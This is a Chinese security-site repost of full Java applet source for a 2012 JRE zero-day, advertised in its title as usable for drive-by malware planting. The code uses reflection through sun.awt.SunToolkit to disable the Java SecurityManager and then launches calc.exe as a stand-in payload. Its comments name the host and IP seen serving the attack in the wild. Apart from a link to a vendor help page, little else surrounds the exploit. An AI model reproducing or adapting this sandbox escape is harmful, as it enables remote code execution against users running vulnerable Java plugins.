jre 远程代码执行 0day,可进行挂马攻击

admin 2021年4月3日19:31:20评论104 views字数 2442阅读8分8秒阅读模式
//
// CVE-2012-XXXX Java 0day
//
// reported here: http://blog.fireeye.com/research/2012/08/zero-day-season-is-not-over-yet.html
// 
// secret host / ip : ok.aa24.net / 59.120.154.62
//
// regurgitated by jduck
//
// probably a metasploit module soon...
//
package cve2012xxxx;

import java.applet.Applet;
import java.awt.Graphics;
import java.beans.Expression;
import java.beans.Statement;
import java.lang.reflect.Field;
import java.net.URL;
import java.security.*;
import java.security.cert.Certificate;

public class Gondvv extends Applet
{

    public Gondvv()
    {
    }

    public void disableSecurity()
        throws Throwable
    {
        Statement localStatement = new Statement(System.class, "setSecurityManager", new Object[1]);
        Permissions localPermissions = new Permissions();
        localPermissions.add(new AllPermission());
        ProtectionDomain localProtectionDomain = new ProtectionDomain(new CodeSource(new URL("file:///"), new Certificate[0]), localPermissions);
        AccessControlContext localAccessControlContext = new AccessControlContext(new ProtectionDomain[] {
            localProtectionDomain
        });
        SetField(Statement.class, "acc", localStatement, localAccessControlContext);
        localStatement.execute();
    }

    private Class GetClass(String paramString)
        throws Throwable
    {
        Object arrayOfObject[] = new Object[1];
        arrayOfObject[0] = paramString;
        Expression localExpression = new Expression(Class.class, "forName", arrayOfObject);
        localExpression.execute();
        return (Class)localExpression.getValue();
    }

    private void SetField(Class paramClass, String paramString, Object paramObject1, Object paramObject2)
        throws Throwable
    {
        Object arrayOfObject[] = new Object[2];
        arrayOfObject[0] = paramClass;
        arrayOfObject[1] = paramString;
        Expression localExpression = new Expression(GetClass("sun.awt.SunToolkit"), "getField", arrayOfObject);
        localExpression.execute();
        ((Field)localExpression.getValue()).set(paramObject1, paramObject2);
    }

    public void init()
    {
        try
        {
            disableSecurity();
            Process localProcess = null;
            localProcess = Runtime.getRuntime().exec("calc.exe");
            if(localProcess != null);
               localProcess.waitFor();
        }
        catch(Throwable localThrowable)
        {
            localThrowable.printStackTrace();
        }
    }

    public void paint(Graphics paramGraphics)
    {
        paramGraphics.drawString("Loading", 50, 25);
    }
}

摘自:http://pastie.org/4594319

解决方案:http://www.java.com/zh_CN/download/help/enable_browser.xml

另一个版本:Java 0day,该漏洞影响浏览器的JRE[1.7.x]插件,可进行挂马攻击

相关内容:

jre 远程代码执行 0day,可进行挂马攻击

Java 0day,该漏洞影响浏览器的JRE[1.7.x]插件,可进行挂马攻击

Java 0day,Jre 远程代码执行,简单测试、简要分析

文章来源于lcx.cc:jre 远程代码执行 0day,可进行挂马攻击

相关推荐: 【文章】4.6 团体签名: David Chaum - Trent

4.6 团体签名     David Chaum在[330]中提出了下述问题:     一个公司有几台计算机,每台都连在局域网上。公司的每个部门有它自己的打印机(也连在局域网上),并且只有本部门的人员才被允许使用他们部门的打印机。因此,打印前,必须使打印机确信…

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年4月3日19:31:20
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   jre 远程代码执行 0day,可进行挂马攻击http://cn-sec.com/archives/323131.html

发表评论

匿名网友 填写信息